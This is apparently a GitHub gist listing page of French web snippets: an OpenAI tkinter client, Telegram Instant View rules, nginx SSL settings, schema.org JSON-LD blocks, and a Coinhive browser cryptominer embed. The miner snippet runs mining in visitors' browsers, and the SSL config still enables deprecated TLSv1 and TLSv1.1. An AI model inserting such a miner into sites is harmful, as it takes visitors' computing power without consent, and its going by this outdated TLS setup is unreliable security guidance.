Skip to content

Instantly share code, notes, and snippets.

# Importer les modules nécessaires
import openai
import tkinter as tk
from tkinter import scrolledtext
# Définir la clé secrète de l'API Open AI
openai.api_key = "sk-xxxx"
# Créer la fenêtre principale
window = tk.Tk()
@HoussenMoshine
HoussenMoshine / telegram-instant-view-template-help
Last active September 15, 2024 13:36
Help for Telegram Instant View Template
# To remove only some text on a content
@remove: //p[self::p/strong[contains(text(), "Articles liés")]]
@remove: //iframe[contains(@src,"https://urlsomething")]
# To deal with fucking error of <img> is not supported in blabla
@before_el(./..): //a/img
@before_el(./..): //p/img
@HoussenMoshine
HoussenMoshine / configuration-nginx-conf-ssl
Created June 27, 2018 08:42
Un bout de configuration d'un site sous Nginx pour inclure le fichier de configuration SSL
server {
listen 443 ssl http2;
root /le repertoire de votre site;
index index.php index.html index.htm;
server_name votresite.com;
ssl_certificate /etc/letsencrypt/live/votresite.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/votresite.com/privkey.pem;
@HoussenMoshine
HoussenMoshine / configuration-ssl-lets-encrypt
Created June 27, 2018 08:31
Configuration SSL pour Let's Encrypt pour avoir une note A+ sur SSLLabs
# Specify the TLS versions
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
# Ciphersuites recommendation from the chiper.li
# Use this chipersuites to get 100 points of the SSLabs test
# Some device will not support
#ssl_ciphers "ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384";
# Mozilla Ciphersuits Recommendation
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('Votre clé publique', {
threads: 2,
autoThreads: false,
throttle: 0.9,
forceASMJS: false,
language: 'auto'
});
<script type="application/ld+json">
{
"@context":"http://schema.org",
"@type":"UserComments",
"commentText":"Le texte du commentaire",
"commentTime":"La date de publication du commentaire",
"creator":"L'auteur du commentaire",
"discusses":"Le sujet du commentaire, généralement l'article.",
"replyToUrl":"Le lien de l'article initial qui concerne le commentaire"
<script type="application/ld+json">
{ "@context": "http://schema.org",
"@type": "TechArticle",
"headline": "Comment rooter son Smartphone ou tablette Android",
"dependencies": "Un Smartphone Android et une connexion à internet",
"proficiencyLevel": "Débutant",
"alternativeHeadline": "Rooter son Smartphone ou sa tablette Android",
"image": "https://2.bp.blogspot.com/-9UvN-qsEDqw/VJlhHurcMHI/AAAAAAAAI1o/e2EGWkYB0AA/s1600/rooter-smartphone-tablette-android_1.jpg",
"author": "Houssen Moshinaly",
<script type="application/ld+json">
{
"@context":"http://schema.org",
"@type":"DiscussionForumPosting",
"@id":"<?php bbp_reply_id(); ?>",
"datePublished":"<?php the_time('c'); ?>",
"image":"https://s3-eu-west-1.amazonaws.com/s3.housseniawriting.com/wp-content/uploads/2017/11/17091829/forum-houssenia-writing-1.jpg",
"headline":"<?php bbp_topic_title(); ?>",
"articleSection":"<?php bbp_forum_title(); ?>",
"articleBody":"<?php echo wp_strip_all_tags( get_the_content() ); ?>",
<script type="application/ld+json">
{
"@context": "http://schema.org",
"@type": "ClaimReview",
"url": "http://actualite.housseniawriting.com/hoax/2017/03/02/complotisme-le-cnrs-coupe-la-recherche-dun-vaccin-contre-le-sida/20854/",
"author":
{
"@type": "Organization",
"url": "https://actualite.housseniawriting.com",
"sameAs": "https://www.facebook.com/actualite.housseniawriting/"
<script type="application/ld+json">
{
"@context": "http://schema.org",
"@type": "ClaimReview",
"datePublished": "2014-07-23",
"url": "http://www.politifact.com/texas/statements/2014/jul/23/rick-perry/rick-perry-claim-about-3000-homicides-illegal-immi/",
"author": {
"@type": "Organization",
"url": "http://www.politifact.com/",
"image": "http://static.politifact.com/mediapage/jpgs/politifact-logo-big.jpg",